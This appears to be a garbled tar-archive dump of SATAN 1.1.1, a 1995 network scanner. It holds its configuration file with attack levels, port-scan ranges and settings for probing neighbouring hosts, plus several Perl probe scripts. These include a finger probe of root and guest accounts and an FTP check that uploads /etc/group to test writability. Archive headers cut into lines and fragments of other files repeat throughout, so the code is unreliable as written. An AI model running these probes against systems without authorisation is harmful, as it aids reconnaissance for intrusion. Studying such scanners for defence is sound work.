  1368. $RUSERS="/usr/ucb/rusers";
  1369. $SHOWMOUNT="/usr/etc/showmount";
  1370. $YPWHICH="/bin/ypwhich";
  1371. $NSLOOKUP="/usr/etc/nslookup";
  1372. $XHOST="/usr/bin/X11/xhost";
  1373. $PING="/usr/etc/ping";
  1374. $MOSAIC="/usr/exp/bin/netscape";
  1375.  
  1376. $TCP_SCAN="bin/tcp_scan";
  1377. $UDP_SCAN="bin/udp_scan";
  1378. $FPING="bin/fping";
  1379. $NFS_CHK="bin/nfs-chk";
  1380. $YP_CHK="bin/yp-chk";
  1381. $SAFE_FINGER="bin/safe_finger";
  1382. $MD5="bin/md5";
  1383. $SYS_SOCKET="bin/sys_socket";
  1384. $BOOT="bin/boot";
  1385. $GET_TARGETS="bin/get_targets";
  1386. $TIMEOUT="bin/timeout";
  1387.  
  1388. $SATAN_CF="config/satan.cf";
  1389. $SERVICES="config/services";
  1390.  
  1391.  
  1392. mmand";
  1393. ...# print "found ($upper) $dir/$command\n";
  1394.  
  1395. ...# if it's rsh we're examining, keep looking; else quit
  1396. ...last unless $command eq "rsh";
  1397. ...}
  1398. ..}
  1399. .print "\nAEEEIIII...!!!  can't find $command\n\n" unless $found;
  1400. .}
  1401.  
  1402. print "\nOk, now doing substitutions on the shell scripts...\n";
  1403. for $shell (@shell_scripts) {
  1404.  .print "Changing paths in $shell...\n";
  1405. .die "Can't open $shell\n" unless open(SCRIPT, $shellsatan-1.1.1/config/paths.sh.........................................................................   600 .   465 .   506 .        330  5742457420  10576. ................................................
  1406. .................................................................................................................................................................................................................................................................
  1407. ...................................................BASENAME=/bin/basename
  1408. CAT=/bin/cat
  1409. ECHO=/bin/echo
  1410. FILE=/bin/file
  1411. RM=/bin/rm
  1412. RSH=/usr/ucb/rsh
  1413. SED=/bin/sed
  1414. SU=/bin/su
  1415. TEST=/bin/test
  1416. TFTP=/usr/ucb/tftp
  1417. WHOAMI=/usr/ucb/whoami
  1418. GREP=/bin/grep
  1419. REX=bin/rex
  1420. RCMD=bin/rcmd
  1421. ost";
  1422. $PING="/usr/etc/ping";
  1423. $MOSAIC="/usr/exp/bin/netscape";
  1424.  
  1425. $TCP_SCAN="bin/tcp_scan";
  1426. $UDP_SCAN="bin/udp_scan";
  1427. $FPING="bin/fping";
  1428. $NFS_CHK="bin/nfs-chk";
  1429. $YP_CHK="bin/yp-chk";
  1430. $SAFE_FINGER="bin/safe_finger";
  1431. $MD5="bin/md5";
  1432. $SYS_SOCKET="bin/sys_socket";
  1433. $BOOT="bin/boot";
  1434. $GET_TARGETS="bin/gsatan-1.1.1/config/satan.cf.........................................................................   600 .   465 .   506 .       6065  5740240116  10564. ..................................................................................
  1435. .................................................................................................................................................................................................................................................................
  1436. .................#
  1437. # Configuration file for satan; limits, policies, etc. go here
  1438. #
  1439. #
  1440. # version 1, Mon Mar 20 19:16:55 1995, last mod by wietse
  1441. #
  1442.  
  1443. #
  1444. # NOTE - "" or 0 means false, in this config file
  1445. #
  1446.  
  1447. # Where do we keep the data? This is just a default.
  1448. $satan_data = "satan-data";
  1449.  
  1450. # Default attack level (0=light, 1=normal, 2=heavy).
  1451. $attack_level = 0;
  1452.  
  1453. # Probes by attack level.
  1454. #
  1455. # ? Means conditional, proposed by rules.todo.
  1456. # With heavy scans, replace 1-9999 by 1-65535 to find all non-standard
  1457. # telnet, ftp, www or gopher servers.
  1458.  
  1459. @light = (
  1460. .'dns.satan',
  1461. .'rpc.satan',
  1462. .'showmount.satan?',
  1463. .);
  1464.  
  1465. @normal = (
  1466. .@light, 
  1467. .'finger.satan', 
  1468. .'tcpscan.satan 70,80,ftp,telnet,smtp,nntp,uucp,6000', 
  1469. .'udpscan.satan 53,177',
  1470. .'rusers.satan?', 
  1471. .'boot.satan?',
  1472. .'yp-chk.satan?',
  1473. .);
  1474.  
  1475. @heavy = (
  1476. .@normal,
  1477. .$heavy_tcp_scan = 'tcpscan.satan 1-9999',
  1478. .$heavy_udp_scan = 'udpscan.satan 1-2050,32767-33500',
  1479. .'*?',
  1480. .);
  1481.  
  1482. # status file; keeps track of what SATAN is doing.
  1483. $status_file = "status_file";
  1484.  
  1485. #
  1486. # timeout values. -t option chooses one of these.
  1487. #
  1488. $short_timeout = 10;
  1489. $med_timeout = 20;
  1490. $long_timeout = 60;
  1491.  
  1492. #
  1493. # Some tools need more time, as specified in the timeouts array.
  1494. #
  1495. %timeouts = (
  1496. .'nfs-chk.satan', 120,
  1497. .$heavy_tcp_scan, 120,
  1498. .$heavy_udp_scan, 120,
  1499. .);
  1500.  
  1501. # what signal we send to nuke things when they timeout:
  1502. $timeout_kill = 9;
  1503.  
  1504. #
  1505. # Proximity variables; how far out do we attack, does severity go down, etc.
  1506. #
  1507. # How far out from the original target do we attack? Zero means that we only
  1508. # look at the hosts or network that you specify. One means look at neighboring
  1509. # hosts, too. Anything over two is asking for problems, unless you are on the
  1510. # inside of a firewall.
  1511. $max_proximity_level = 0;
  1512.  
  1513. # Attack level drops by this much each proximity level change
  1514. $proximity_descent = 1;
  1515.  
  1516. # when we go below zero attack, do we stop (0) or go on (1)?
  1517. $sub_zero_proximity = 0;
  1518.  
  1519. # a question; do we attack subnets when we nuke a target?
  1520. # 0 = no; 1 = primary target subnet
  1521. $attack_proximate_subnets = 0;
  1522.  
  1523. #
  1524. # Does SATAN run on an untrusted host? (0=no; 1=yes, this host may appear
  1525. # in the rhosts, hosts.equiv or NFS export files of hosts that are being
  1526. # probed).
  1527. #
  1528. $untrusted_host = 0;
  1529.  
  1530. #
  1531. # Any exceptions on who we want to hit?  E.g., stay away from the mil sites?
  1532. # Also, you can specify *only* hit sites of a certain type; e.g. edu sites.
  1533. #
  1534.  
  1535. #
  1536. # If $only_attack_these is non-null, *only* hit sites if they are of this
  1537. # type.  You can specify a domain (podunk.edu) or network number
  1538. # (192.9.9). You can specify a list of shell-like patterns with domains
  1539. # or networks, separated by whitespace or commas.
  1540. #
  1541. # Examples:
  1542. #
  1543. # $only_attack_these = "podunk.edu";
  1544. # $only_attack_these = "192.9.9";
  1545. # $only_attack_these = "podunk.edu, 192.9.9";
  1546. #
  1547. $only_attack_these = "";
  1548.  
  1549. #
  1550. # Stay away from anyone that matches these patterns.
  1551. #
  1552. #  Example - leave government and military sites alone:
  1553. #
  1554. # $dont_attack_these = "gov, mil";
  1555. $dont_attack_these = "";
  1556.  
  1557. #
  1558. # Set the following to nonzero if DNS (internet name service) is unavailable.
  1559. #
  1560. $dont_use_nslookup = 0;
  1561.  
  1562. #
  1563. # Should SATAN ping hosts to see if they are alive?
  1564. #
  1565. $dont_use_ping = 0;
  1566.  
  1567. 1;
  1568. 'showmount.satan?',
  1569. .);
  1570.  
  1571. @normal = (
  1572. .@light, 
  1573. .'finger.satan', 
  1574. .'tcpscan.satan 70,80,ftp,telnet,smtp,nntp,uucp,6000', 
  1575. .'udpscan.satan 53,177',
  1576. .'rusers.satan?', 
  1577. .'boot.satan?',
  1578. .'yp-chk.satan?',
  1579. .);
  1580.  
  1581. @heavy = (
  1582. .@normal,
  1583. .$heavy_tcp_scan = 'tcpscan.satan 1-9999',
  1584. .$heavy_udp_scan = 'udpscan.satan 1-2050,32767-33500',
  1585. .'*?',
  1586. .);
  1587.  
  1588. # status file; keeps track of what SATAN is doing.
  1589. $status_file = "status_file";
  1590.  
  1591. #
  1592. # timeout values. -t option chooses one satan-1.1.1/config/version.pl.......................................................................   600 .   465 .   506 .        105  5742520547  11146. .............................................................
  1593. .................................................................................................................................................................................................................................................................
  1594. ......................................#
  1595. # current version of SATAN
  1596. #
  1597. $satan_version = "Version 1.1.1";
  1598.  
  1599. 1;
  1600. ck_these = "podunk.edu";
  1601. # $only_attack_these = "192.9.9";
  1602. # $only_attack_these = "podunk.edu, 192.9.9";
  1603. #
  1604. $only_attack_these = "";
  1605.  
  1606. #
  1607. # Stay away from anyone that matches these patterns.
  1608. #
  1609. #  Example - leave government and military sites alone:
  1610. #
  1611. # $dont_attack_these = "gov, mil";
  1612. $dont_attack_these = "";
  1613.  
  1614. #
  1615. # Set the following to nonzero if DNS (internet name service) is unavailable.
  1616. #
  1617. $dont_use_nslookup = 0;
  1618.  
  1619. #
  1620. # Should SATAN ping hostssatan-1.1.1/config/services.........................................................................   600 .   465 .   506 .       4441  5742313324  10712. ............................................................................
  1621. .................................................................................................................................................................................................................................................................
  1622. .......................
  1623. tcpmux..1/tcp....# rfc-1078
  1624. echo..7/tcp
  1625. echo..7/udp
  1626. discard..9/tcp..sink null
  1627. discard..9/udp..sink null
  1628. systat..11/tcp..users
  1629. daytime..13/tcp
  1630. daytime..13/udp
  1631. netstat..15/tcp
  1632. chargen..19/tcp..ttytst source
  1633. chargen..19/udp..ttytst source
  1634. ftp-data.20/tcp
  1635. fsp..21/udp
  1636. ftp..21/tcp
  1637. telnet..23/tcp
  1638. smtp..25/tcp..mail
  1639. time..37/tcp..timserver
  1640. time..37/udp..timserver
  1641. name..42/udp..nameserver
  1642. whois..43/tcp..nicname..# usually to sri-nic
  1643. domain..53/tcp
  1644. domain..53/udp
  1645. tftp..69/udp
  1646. gopher..70/tcp
  1647. rje..77/tcp
  1648. finger..79/tcp
  1649. http..80/tcp
  1650. link..87/tcp..ttylink
  1651. supdup..95/tcp
  1652. hostnames.101/tcp..hostname.# usually to sri-nic
  1653. iso-tsap.102/tcp
  1654. x400..103/tcp....# ISO Mail
  1655. x400-snd.104/tcp
  1656. csnet-ns.105/tcp
  1657. pop-2..109/tcp....# Post Office
  1658. sunrpc..111/tcp
  1659. sunrpc..111/udp
  1660. auth..113/tcp....# RFC931 identity protocol
  1661. sftp            115/tcp
  1662. uucp-path.117/tcp
  1663. nntp            119/tcp         usenet..# Network News Transfer
  1664. ntp..123/tcp....# Network Time Protocol
  1665. netbios-ns      137/tcp    NETBIOS Name Service
  1666. netbios-ns      137/udp    NETBIOS Name Service
  1667. netbios-dgm     138/tcp    NETBIOS Datagram Service
  1668. netbios-dgm     138/udp    NETBIOS Datagram Service
  1669. netbios-ssn     139/tcp    NETBIOS Session Service
  1670. netbios-ssn     139/udp    NETBIOS Session Service
  1671. imap2           143/tcp
  1672. NeWS..144/tcp..news..# Window System
  1673. snmp            161/udp
  1674. snmp-trap       162/udp         snmptrap
  1675. xdmcp..177/udp
  1676. biff..512/udp..comsat
  1677. exec..512/tcp
  1678. login..513/tcp
  1679. who..513/udp..whod
  1680. shell..514/tcp..cmd..# no passwords used
  1681. syslog..514/udp
  1682. printer..515/tcp..spooler..# line printer spooler
  1683. talk..517/udp
  1684. ntalk..518/udp
  1685. route..520/udp..router routed
  1686. courier..530/tcp..rpc..# experimental
  1687. uucp..540/tcp..uucpd..# uucp daemon
  1688. klogin          543/tcp                 # Kerberos rlogin
  1689. kshell          544/tcp         krcmd   # Kerberos remote shell
  1690. new-rwho.550/udp..new-who..# experimental
  1691. rmonitor.560/udp..rmonitord.# experimental
  1692. monitor..561/udp....# experimental
  1693. pcserver.600/tcp....# ECD Integrated PC board srvr
  1694. kerberos        750/tcp         kdc     # Kerberos (server) tcp
  1695. kerberos        750/udp         kdc     # Kerberos (server) udp
  1696. krbupdate       760/tcp         kreg    # Kerberos registration
  1697. kpasswd         761/tcp         kpwd    # Kerberos "passwd"
  1698. ingreslock      1524/tcp
  1699. eklogin         2105/tcp                # Kerberos encrypted rlogin
  1700. ftp            115/tcp
  1701. uucp-path.117/tcp
  1702. nntp            119/tcp         usenet..# Network News Transfer
  1703. ntp..123/tcp....# Network Time Protocol
  1704. netbios-ns      137/tcp    NETBIOS Name Service
  1705. netbios-ns      137/udp    NETsatan-1.1.1/perllib/................................................................................   700 .   465 .   506 .          0  5742521534   7242. .......................................................................
  1706. .................................................................................................................................................................................................................................................................
  1707. ............................satan-1.1.1/perllib/ctime.pl........................................................................   600 .   465 .   506 .       3253  5742456565  11005. .........................................................................
  1708. .................................................................................................................................................................................................................................................................
  1709. ..........................;# ctime.pl is a simple Perl emulation for the well known ctime(3C) function.
  1710. ;#
  1711. ;# Waldemar Kebsch, Federal Republic of Germany, November 1988
  1712. ;# kebsch.pad@nixpbe.UUCP
  1713. ;# Modified March 1990, Feb 1991 to properly handle timezones
  1714. ;#  $RCSfile: ctime.pl,v $$Revision: 4.1 $$Date: 92/08/07 18:23:47 $
  1715. ;#   Marion Hakanson (hakanson@cse.ogi.edu)
  1716. ;#   Oregon Graduate Institute of Science and Technology
  1717. ;#
  1718. ;# usage:
  1719. ;#
  1720. ;#     #include <ctime.pl>          # see the -P and -I option in perl.man
  1721. ;#     $Date = &ctime(time);
  1722.  
  1723. CONFIG: {
  1724.     package ctime;
  1725.  
  1726.     @DoW = ('Sun','Mon','Tue','Wed','Thu','Fri','Sat');
  1727.     @MoY = ('Jan','Feb','Mar','Apr','May','Jun',
  1728. .    'Jul','Aug','Sep','Oct','Nov','Dec');
  1729. }
  1730.  
  1731. sub ctime {
  1732.     package ctime;
  1733.  
  1734.     local($time) = @_;
  1735.     local($[) = 0;
  1736.     local($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst);
  1737.  
  1738.     # Determine what time zone is in effect.
  1739.     # Use GMT if TZ is defined as null, local time if TZ undefined.
  1740.     # There's no portable way to find the system default timezone.
  1741.  
  1742.     $TZ = defined($ENV{'TZ'}) ? ( $ENV{'TZ'} ? $ENV{'TZ'} : 'GMT' ) : '';
  1743.     ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) =
  1744.         ($TZ eq 'GMT') ? gmtime($time) : localtime($time);
  1745.  
  1746.     # Hack to deal with 'PST8PDT' format of TZ
  1747.     # Note that this can't deal with all the esoteric forms, but it
  1748.     # does recognize the most common: [:]STDoff[DST[off][,rule]]
  1749.  
  1750.     if($TZ=~/^([^:\d+\-,]{3,})([+-]?\d{1,2}(:\d{1,2}){0,2})([^\d+\-,]{3,})?/){
  1751.         $TZ = $isdst ? $4 : $1;
  1752.     }
  1753.     $TZ .= ' ' unless $TZ eq '';
  1754.  
  1755.     $year += 1900;
  1756.     sprintf("%s %s %2d %2d:%02d:%02d %s%4d\n",
  1757.       $DoW[$wday], $MoY[$mon], $mday, $hour, $min, $sec, $TZ, $year);
  1758. }
  1759. 1;
  1760. vel drops by this much each proximity level change
  1761. $proximity_descent = 1;
  1762.  
  1763. # when we go below zero attack, do we stop (0) or go on (1)?
  1764. $sub_zero_proximity = 0;
  1765.  
  1766. # a question; do we attack subnets when we nuke a target?
  1767. # 0 = no; 1 = primary target subnet
  1768. $attack_proximate_subnets = 0;
  1769.  
  1770. #
  1771. # Does SATAN run on an untrusted host? (0=no; 1=yesatan-1.1.1/perllib/getopts.pl......................................................................   600 .   465 .   506 .       1673  5742456565  11375. ...................................................
  1772. .................................................................................................................................................................................................................................................................
  1773. ................................................;# getopts.pl - a better getopt.pl
  1774.  
  1775. ;# Usage:
  1776. ;#      do Getopts('a:bc');  # -a takes arg. -b & -c not. Sets opt_* as a
  1777. ;#                           #  side effect.
  1778.  
  1779. sub Getopts {
  1780.     local($argumentative) = @_;
  1781.     local(@args,$_,$first,$rest);
  1782.     local($errs) = 0;
  1783.     local($[) = 0;
  1784.  
  1785.     @args = split( / */, $argumentative );
  1786.     while(@ARGV && ($_ = $ARGV[0]) =~ /^-(.)(.*)/) {
  1787. .($first,$rest) = ($1,$2);
  1788. .$pos = index($argumentative,$first);
  1789. .if($pos >= $[) {
  1790. .    if($args[$pos+1] eq ':') {
  1791. ..shift(@ARGV);
  1792. ..if($rest eq '') {
  1793. ..    ++$errs unless @ARGV;
  1794. ..    $rest = shift(@ARGV);
  1795. ..}
  1796. ..eval "\$opt_$first = \$rest;";
  1797. .    }
  1798. .    else {
  1799. ..eval "\$opt_$first = 1";
  1800. ..if($rest eq '') {
  1801. ..    shift(@ARGV);
  1802. ..}
  1803. ..else {
  1804. ..    $ARGV[0] = "-$rest";
  1805. ..}
  1806. .    }
  1807. .}
  1808. .else {
  1809. .    print STDERR "Unknown option: $first\n";
  1810. .    ++$errs;
  1811. .    if($rest ne '') {
  1812. ..$ARGV[0] = "-$rest";
  1813. .    }
  1814. .    else {
  1815. ..shift(@ARGV);
  1816. .    }
  1817. .}
  1818.     }
  1819.     $errs == 0;
  1820. }
  1821.  
  1822. 1;
  1823. defined.
  1824.     # There's no portable way to find the system default timsatan-1.1.1/perllib/README..........................................................................   600 .   465 .   506 .        225  5742457361  10176. .........................................
  1825. .................................................................................................................................................................................................................................................................
  1826. ..........................................................These files were taken from the perl5.000 release. They are bundled
  1827. with SATAN for your convenience; many perl5 installations seem to be
  1828. incomplete.
  1829. #  side effect.
  1830.  
  1831. sub Getopts {
  1832.     local($argumentative) = @_;
  1833.     local(@args,$_,$first,$rest);
  1834.     local($errs) = 0;
  1835.     local($[) = 0;
  1836.  
  1837.     @args = split( / */, $argumentative );
  1838.     while(@ARGV && ($_ = $ARGV[0]) =~ /^-(.)(.*)/) {
  1839. .($first,$rest) = ($1,$2);
  1840. .$pos = index($argumentative,$first);
  1841. .if($pos >= $[) {
  1842. .    if($args[$pos+1] eq ':') {
  1843. ..shift(@ARGVsatan-1.1.1/bin/....................................................................................   700 .   465 .   506 .          0  5742521536   6363. ........................................................................................
  1844. .................................................................................................................................................................................................................................................................
  1845. ...........satan-1.1.1/bin/boot.satan..........................................................................   700 .   465 .   506 .       2144  5742457416  10454. ..........................................................................................
  1846. .................................................................................................................................................................................................................................................................
  1847. .........#!/usr/local/bin/perl5
  1848. #
  1849. #  Execute a bootparam WHOAMI request and report the results.
  1850. #
  1851. $running_under_satan = 1;
  1852. require 'config/paths.pl';
  1853. require 'perl/misc.pl';
  1854. require 'perl/fix_hostname.pl';
  1855.  
  1856. die "usage: $0 client server" unless ($#ARGV == 1);
  1857.  
  1858. $target = $client = $ARGV[0];
  1859. $server = $ARGV[1];
  1860.  
  1861. # fields for satan...
  1862. $severity="x";
  1863. $status="a";
  1864. $service = "boot";
  1865.  
  1866. open(BOOT, "$BOOT $client $server|");
  1867.  
  1868. while (<BOOT>) {
  1869. .chop;
  1870. .if (/domain_name:\s+(\S+)/) {
  1871. ..$service_output = "domain $1"; 
  1872. ..$target = $server; &satan_print;
  1873. ..$target = $client; &satan_print;
  1874. .}
  1875. .if (/client_name:\s+(\S+)/) {
  1876. ..$client = &fix_hostname($1, $server);
  1877. ..$service_output = "client $client"; 
  1878. ..$target = $client; &satan_print;
  1879. .}
  1880. .if (/router_addr:\s+(\S+)/) {
  1881. ..$service_output = "router $1"; 
  1882. ..$target = $client; &satan_print;
  1883. .}
  1884. }
  1885. close(BOOT);
  1886.  
  1887. # print something out if nothing has happened so far...
  1888. # if rpcinfo returns !0, then flag it; else, nothing interesting showed up.
  1889. if ($service_output eq "") {
  1890. .$severity="";
  1891. .if ($?) {
  1892. ..$text="boot error #$?";
  1893. .} else {
  1894. ..$text="No boot output of interest";
  1895. .}
  1896. .&satan_print();
  1897. }
  1898. rst = \$rest;";
  1899. .    }
  1900. .    else {
  1901. ..eval "\$opt_$first = 1";
  1902. ..if($rest eq '') {
  1903. ..    shift(@ARGV);
  1904. ..}
  1905. ..else {
  1906. ..    $ARGV[0] = "-$rest";
  1907. ..}
  1908. .    }
  1909. .}
  1910. .else {
  1911. .    print STDERR "Unknown option: $first\n";
  1912. .    ++$errs;
  1913. .    if($rest ne '') {
  1914. ..$ARGV[0] = "-$rest";
  1915. .    }
  1916. .    else {
  1917. ..shift(@ARGV);
  1918. .    }
  1919. .}
  1920.     }
  1921.     $errs == 0;
  1922. }
  1923.  
  1924. 1;
  1925. defined.
  1926.     # There's no portable way to find the system default timsatan-1.1.1/bin/dns.satan...........................................................................   700 .   465 .   506 .       5012  5742457416  10272. .........................................
  1927. .................................................................................................................................................................................................................................................................
  1928. ..........................................................#!/usr/local/bin/perl5
  1929. #
  1930. #  information gatherer for dns -- uses NSLOOKUP, so you're hosed
  1931. # unless you have that...
  1932. #
  1933. # XXX Must look for address->name servers too.
  1934. #
  1935. $running_under_satan = 1;
  1936.  
  1937. require 'config/paths.pl';
  1938. require 'perl/misc.pl';
  1939. require 'perllib/getopts.pl';
  1940.  
  1941. #
  1942. $usage="Usage: $0 target\n";
  1943. &Getopts("v");
  1944.  
  1945. if ($#ARGV < 0) {
  1946. .print STDERR $usage;
  1947. .exit 1;
  1948. .}
  1949. $target = $ARGV[0];
  1950. $service = &basename($0, ".satan");
  1951.  
  1952. $status = "a";
  1953.  
  1954. # open up NSLOOKUP
  1955. die "Can't run $NSLOOKUP\n" unless open(NS, "$NSLOOKUP <<EOC
  1956. set qt=any
  1957. $target.
  1958. EOC |");
  1959.  
  1960. # until we change this, query away...
  1961. $done = 0;
  1962.  
  1963. while (<NS>) {
  1964. .next if ($_ =~ />/);
  1965. .chop;
  1966.  
  1967. .# pick up any tidbits along the way...
  1968. .&get_misc_dns_info();
  1969.  
  1970. .# ok, lets get the places we can get authoritative answers...
  1971. .if ($_ =~ /Authoritative answers/) { while (<NS>) {
  1972. ..last if ($_ =~ />/);
  1973. ..chop;
  1974. ..&get_misc_dns_info();
  1975. ..($auth, $garbage) = split;
  1976. ..$all_auth{"\L$auth\E"} = "\L$auth\E";
  1977. ..}
  1978. ..}
  1979. .}
  1980.  
  1981. $trustee = "";
  1982. $trusted = "";
  1983. $severity = "";
  1984. $target_orig = $target;
  1985.  
  1986. for $cpu (keys %cpu) {
  1987. .$service_output = $cpu{$cpu};
  1988. .$target = $cpu;
  1989. .$text = "HINFO output";
  1990. .&satan_print();
  1991. .}
  1992. for $os (keys %os) {
  1993. .$service_output = $os{$os};
  1994. .$target = $os;
  1995. .$text = "HINFO output";
  1996. .&satan_print();
  1997. .}
  1998. for $ma (keys %ma) {
  1999. .$ma{$ma} =~ s/^([^\.]+)\.(.+)$/$1\@$2/;
  2000. .$severity = "x";
  2001. .$target = $ma;
  2002. .$service_output = $ma{$ma};
  2003. .$trusted = $ma;.
  2004. .$text = "Mail address for DNS contact";
  2005. .&satan_print();
  2006. .}
  2007. for $me (keys %me) {
  2008. .$severity = "x";
  2009. .$target = $target_orig;
  2010. .# do we want the number here?
  2011. .# $service_output = "$me $me{$me}";
  2012. .$service_output = $me;
  2013. .$trusted = $me;.
  2014. .$text = "Mail exchanger";
  2015. .&satan_print();
  2016. .}
  2017.  
  2018. # pursue this?
  2019. #
  2020. # print "\nauth-answers from:\n" if (defined(%all_auth));
  2021. #.for $au (values %all_auth) {
  2022. #..print "$au\n";
  2023. #..}
  2024.  
  2025. # print "\nnameservers:\n" if (defined(%ns));
  2026. $trustee = "$target";
  2027. for $ns (values %ns) {
  2028. .$severity = "host";
  2029. .$target = $target_orig;
  2030. .$trusted = $ns;
  2031. .$service_output = "";
  2032. .$text = "authoritative DNS host";
  2033. .&satan_print();
  2034. .}
  2035.  
  2036. #
  2037. # suck in various stuff we can get from the records -- mail exchanger, cpu, etc.
  2038. #
  2039. sub get_misc_dns_info {
  2040.  
  2041. if ($_ =~ /nameserver =/) { ($ns) = /nameserver = (\S+)/; $ns{$ns}="\L$ns\E"; }
  2042. if ($_ =~ /CPU\s*=/) { ($cpu{$target}) = /CPU\s*=\s*(\S+)/; }
  2043. if ($_ =~ /OS\s*=/) { ($os{$target}) = /OS\s*=\s*(\S+)/; }
  2044.  
  2045. if ($_ =~ /mail exchanger/) {
  2046. .($pref, $me) = /preference = (\S+).*mail exchanger = (\S+)/;
  2047. .$pref =~ s/,//;
  2048. .$me{$me} = $pref;
  2049. .}
  2050.  
  2051. if ($_ =~ /mail addr/) { ($ma{$target}) = /mail addr = (\S+)/; }
  2052.  
  2053. }
  2054. al/bin/perl5
  2055. #
  2056. #  information gatherer for dns -- uses NSLOOKUP, so you're hosed
  2057. # unless you have that...
  2058. #
  2059. # XXX Must look for address->name servers too.
  2060. #
  2061. $running_under_satan = 1;
  2062.  
  2063. require 'config/paths.pl';
  2064. require 'perl/misc.pl';
  2065. require 'perllib/getopts.pl';
  2066.  
  2067. #
  2068. $usage="Usage: $0 target\n";
  2069. &Getopts("v");
  2070.  
  2071. if ($#ARGV < 0) {
  2072. .print STDERR $usage;
  2073. .exit 1;
  2074. .}
  2075. $target = $ARGV[0];
  2076. $service = &basename($0, ".satan");
  2077.  
  2078. $status = "a";
  2079.  
  2080. # open up NSLOOKUP
  2081. die "Can't run $NSLOOKUP\n" unless open(NS,satan-1.1.1/bin/finger.satan........................................................................   700 .   465 .   506 .       4434  5742457416  10767. ..........................................................
  2082. .................................................................................................................................................................................................................................................................
  2083. .........................................#!/usr/local/bin/perl5
  2084. #
  2085. # version 2, Mon Mar 20 21:30:24 1995, last mod by wietse
  2086. #
  2087.  
  2088. # Query the target's finger daemon and report which user logged in from
  2089. # which host.  Try to clean up unqualified host names or host names that
  2090. # may be truncated. 
  2091.  
  2092. $running_under_satan = 1;
  2093.  
  2094. require 'config/paths.pl';
  2095. require 'perl/fix_hostname.pl';
  2096. require 'perl/misc.pl';
  2097. require 'perllib/getopts.pl';
  2098.  
  2099. #
  2100. # Parse JCL.
  2101. #
  2102. $usage="Usage: $0 [-u user] [user@]target\n";
  2103. $opt_u = ":0:\@:root:demo:guest";
  2104. &Getopts("u:v");
  2105.  
  2106. if ($#ARGV < 0) {
  2107.     print STDERR $usage;
  2108.     exit 1;
  2109. }
  2110.  
  2111. # If no user is given, iterate over a list of queries that might
  2112. # give us some interesting answers.
  2113.  
  2114. if ($ARGV[0] =~ /([^@]+)@([^@]+)/) {
  2115.     $login = $1;
  2116.     $target = $2;
  2117. } else {
  2118.     $target = $ARGV[0];
  2119.     $login = $opt_u;
  2120. }
  2121.  
  2122. $| = 1;
  2123. $service = &basename($0, ".satan");
  2124. $severity = "l";
  2125.  
  2126. foreach $user (split(/:/, $login)) {
  2127.     print "trying: $SAFE_FINGER -l $user\@$target\n" if $opt_v;
  2128.     open (FINGER, "$SAFE_FINGER -l $user\@$target 2>/dev/null|") 
  2129. .|| exit 1;
  2130.     while (<FINGER>) {
  2131. .print if $opt_v;
  2132. .if (/^ login name: (\S+)/i) { 
  2133. .    $user = $1;
  2134. .}
  2135. .if (/^ login: (\S+)/i) { 
  2136. .    $user = $1;
  2137. .}
  2138. .if (/^ directory: (\S+)/i) { 
  2139. .    $home = $1;
  2140. .}
  2141. .if (/(on since|last login).*\s+from\s+(\S+)/i) { 
  2142. .    # Get rid of sync, daemon, localhost, X displays
  2143. .    next if ($user eq "sync" || $user eq "daemon");
  2144. .    $origin = $2;
  2145. .    $origin =~ s/:.*//;
  2146. .    # Strip off X display numbers.
  2147. .    if ($origin =~ /(.*)@(.*)/) {
  2148. ..($ruser = $1) || ($ruser = "root");
  2149. ..$host = $2;
  2150. .    } else {
  2151. ..$ruser = "root";
  2152. ..$host = $origin;
  2153. .    }
  2154. .    next if ($host eq "" || $host eq "localhost");
  2155. .    if ($fqdn = &fix_hostname($host, $target)) {
  2156. ..$host = $fqdn;
  2157. ..$status = "a";
  2158. ..$trustee = "$user\@$target";
  2159. ..$trusted = "$ruser\@$host";
  2160. ..$text = "login $user home $home from $host"
  2161. .    } else {
  2162. ..$status = "u";
  2163. ..$trustee = "$user\@$target";
  2164. ..$trusted = "$user\@$host";
  2165. ..$text = "login $user home $home from $host, unable to verify hostname";
  2166. .    }
  2167. .    $service_output = "$user $home $host";
  2168. .    &satan_print();
  2169. .} elsif (/^ (never logged in|on since|last login)/i) { 
  2170. .    $status = "a";
  2171. .    $trustee = $trusted = "";
  2172. .    $text = "login $user home $home";
  2173. .    $service_output = "$user $home";
  2174. .    &satan_print();
  2175. .}
  2176.     }
  2177.     close(FINGER);
  2178. }
  2179. ($os{$target}) = /OS\s*=\s*(\S+)/; }
  2180.  
  2181. if ($_ =~ /mail exchanger/) {
  2182. .($pref, $me) = /preference = (\S+).*mail exchanger = (\S+)/;
  2183. .$pref =~ s/,//;
  2184. .$me{$me} = $pref;
  2185. .}
  2186.  
  2187. if ($_ =~ /mail addr/) { ($ma{$target}) = /mail addr = (\Ssatan-1.1.1/bin/ftp.satan...........................................................................   700 .   465 .   506 .       2556  5742457416  10311. ...........................................
  2188. .................................................................................................................................................................................................................................................................
  2189. ........................................................#!/usr/local/bin/perl5
  2190.  
  2191. # See if the target provides anonymous ftp, non-intrusive.
  2192.  
  2193. require 'config/paths.pl';
  2194. require 'config/satan.cf';
  2195. require 'perl/misc.pl';
  2196. require 'perllib/getopts.pl';
  2197.  
  2198. $usage="Usage: $0 [-v] target";
  2199. &Getopts("v") || die $usage;
  2200. ($#ARGV == 0) || die $usage;
  2201.  
  2202. $target = $ARGV[0];
  2203.  
  2204. $service = &basename($0, ".satan");
  2205.  
  2206. open(FTP, "$FTP -nv <<EOF
  2207. open $target
  2208. quote user anonymous
  2209. quote pass -satan\@
  2210. cd /
  2211. put /etc/group $$.foo
  2212. dele $$.foo
  2213. quit
  2214. EOF |") || die "cannot run $FTP";
  2215. while(<FTP>) {
  2216.     if (defined($opt_v)) {
  2217. .print;
  2218.     }
  2219.     if (/^230/) {
  2220. .$status = "a";
  2221. .$severity = "x";
  2222. .$trustee = "";
  2223. .$trusted = "";
  2224. .$service_output = "ANONYMOUS";
  2225. .$text = "offers anon ftp";
  2226. .$texts{&satan_string()} = 1;
  2227.    } elsif (/^226/) {
  2228. .$severity = "nw";
  2229. .$trustee = "~ftp@$target";
  2230. .$trusted = "ANY\@ANY";
  2231. .$service_output = "writable FTP home directory";
  2232. .$text = "~ftp is writable";
  2233. .$texts{&satan_string()} = 1;
  2234.    } elsif (/^553/) {
  2235. .$severity = "";
  2236. .$trustee = "";
  2237. .$trusted = "";
  2238. .$service_output = "";
  2239. .$text = "~ftp is not writable";
  2240. .$texts{&satan_string()} = 1;
  2241.    } elsif (/^530/) {
  2242. .$status = "a";
  2243.         $severity = "";
